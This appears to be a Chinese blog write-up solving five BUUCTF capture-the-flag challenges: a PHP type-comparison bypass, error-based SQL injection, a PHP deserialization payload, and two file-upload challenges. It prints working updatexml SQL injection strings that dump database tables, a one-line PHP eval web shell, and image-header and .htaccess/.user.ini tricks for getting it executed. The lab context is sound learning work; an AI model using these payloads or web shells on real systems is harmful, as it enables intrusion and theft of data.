4.15BUUCTF Ez_bypass,HardSQL,AreUSerialz,BabyUpload,CheckIn

MRCTF2020Ez_bypass

打开环境,看源码

php 复制代码
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
     $id=$_GET['id'];
          $gg=$_GET['gg'];
               if (md5($id) === md5($gg) && $id !== $gg) {
         echo 'You got the first step';
         if(isset($_POST['passwd'])) {
             $passwd=$_POST['passwd'];
             if (!is_numeric($passwd))
             {
                  if($passwd==1234567)
                  {
                      echo 'Good Job!';
                      highlight_file('flag.php');
                      die('By Retr_0');
                  }
                  else
                  {
                      echo "can you think twice??";
                  }
             }
             else{
                 echo 'You can not get it !';
             }
 
         }
         else{
             die('only one way to get the flag');
         }
 }
     else {
         echo "You are not a real hacker!";
     }
 }
 else{
     die('Please input first');
 }
 }

第一个if为强比较,使用数组可以绕过

弱类型比较(==)的安全漏洞

  • !is_numeric(passwd) 检查 passwd 是否"不是数字"(如 "123" 会被拦截,但 "123abc" 可以通过)
  • passwd == 1234567 使用 弱类型比较(==),会尝试将 passwd 转换成数字后再比较,导致非严格匹配
    使用playload:password=1234567a

极客大挑战 2019HardSQL

思路

遇到过它的前几版(联合查询,堆叠注入,双写绕过什么的),这次又来了

用户名输入admin,密码输入1(将密码作为注入点)

回显正常,但是密码改为1'回显不正常了

说明存在sql注入,使用联合查询看一下1' order by 3回显

这里改为2或1都是这个页面,说明存在过滤

sql注入的方法:万能密码-->联合查询-->堆叠注入-->报错注入

万能密码不行,联合查询,堆叠注入也不可以

看大佬的非常经典的一道SQL报错注入题目极客大挑战 2019HardSQL 1(两种解法!)

  • 函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
  • 函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
  • 注入原理:
    (在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)局限性:查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串

做题

使用万能密码
报错注入

查询库名
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

查询表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

查询字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

查询前部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

查询后部分字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

拼接出来

flag{858aec26-847d-401e-a955-809ff510f683}

网鼎杯 2020 青龙组AreUSerialz

PHP反序列化题目wp

python 复制代码
<?php
class FileHandler {
    public $op = 2;  // 直接设置为字符串"2"
    public $filename = "flag.php";
    public $content;
}

$obj = new FileHandler();
$serialized = serialize($obj);
echo $serialized;
?>

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

flag{d5b95529-7a68-4c36-bbfd-83a59d312883}

GXYCTF2019BabyUpload

  • 上传一个1.php
    内容<?php @eval($_POST['cmd']);?>
    回显这个

    这就不能用phtml后缀名了(包含PHP代码的HTML文件,会被浏览器当做PHP代码执行)
    改一下小写为大写PHp,还是不行
  • 那就直接将后缀名改为1.jpg(图片的其他后缀名不行)内容还是刚刚的一句话木马

    还是不行,猜测对文件内容有限制,试一下不用这个<?
  • 使用
php 复制代码
GIF89a
<?php @eval($_POST["cmd"]);?>

上传成功

分析:文件上传成功了,但是jpg文件无法被当成php解析。

思路:考虑.htaccess和.user.ini配置文件控制,实现解析漏洞。

  • 上传构造的.htaccess文件
php 复制代码
AddType application/x-httpd-php .jpg#将.jpeg文件解析为php文件

抓包要修改MIME,不然上传不成功

最后使用蚁剑连接就行了

访问一下,url为http://c1a8a068-dc5e-40fa-98f8-cbddbe15e007.node5.buuoj.cn:81/upload/56c33cb01c2a29de24625c749f850027/1.jpg出现

flag{831e3969-e031-4e26-b085-38b02efd4589}

SUCTF 2019CheckIn

分析

直接上传2.php(<?php @eval($_POST['cmd']);?>)显示非法上传

改为2.jpg还是上传不成功,回显<?说明存在文件内容的检查

将文件内容修改一下,改为GIF89a<script language="php">eval($_POST[cmd])</script>是可以上传成功的但是要想解析就需要.htaccess文件(AddType application/x-httpd-php .jpg),这次上传不了,改了MIME还是回显不是图片,那就再在文件开头加一个图片的文件头GIF89a,上传成功

其实回显的内容已经说了是文件头检查exif_imagetype这个是php中的一个内置函数 用于判断一个给定文件的图像类型。它通过读取文件头部的特定信息来确定文件是否为图像以及具体是哪种常见的图像类型

两个文件上传完成之后,就可以用蚁剑连接了

拓展

解析文件,这道题和上一道题的解析文件都是用的是.htaccess,这里还可以用user.ini

在文件中写入GIF89a auto_prepend_file=要解析的文件名上传即可

相关推荐
Splashtop高性能远程控制软件30 分钟前
微软2026年11月补丁星期二解析:1094个 CVE、Outlook 零日 CVE-2026-124194 与修复优先级
microsoft·网络安全·outlook·补丁管理·漏洞管理
星恒随风10 小时前
MySQL 从零入门(五):MySQL 内置函数详解——日期、字符串、数学函数与实战案例
linux·数据库·笔记·sql·mysql
2603_9696948513 小时前
【JavaWeb学习记录】MyBatis核心知识点与实战笔记:从入门到动态SQL
笔记·sql·学习·mysql·mybatis·javaweb·学习方法
可乐ea13 小时前
智能体记忆该拆成几层:笔记、记忆表示与注入上下文
服务器·数据库·笔记·ai智能体·提示词工程·上下文工程·记忆系统
Go Work17 小时前
两个等值条件摆着,MySQL 偏要全表扫
经验分享·笔记
Oll Correct17 小时前
Adobe illustrator 案例十四:花元素标志草图绘制
笔记·ui·adobe·illustrator
每月一号准时摆烂21 小时前
服务器运维笔记(一)——使用shell编写实时查看BMC功率的脚本
运维·服务器·笔记
Thanks_ks1 天前
HTTPS:浏览器地址栏那把锁的工作原理
http·网络安全·https·tls·加密算法·数字证书·中间人攻击
柳鲲鹏2 天前
内斗学概论:43、平级内斗
笔记
星恒随风2 天前
MySQL 从零入门(四):表的增删改查与基础查询详解
linux·服务器·数据库·笔记·mysql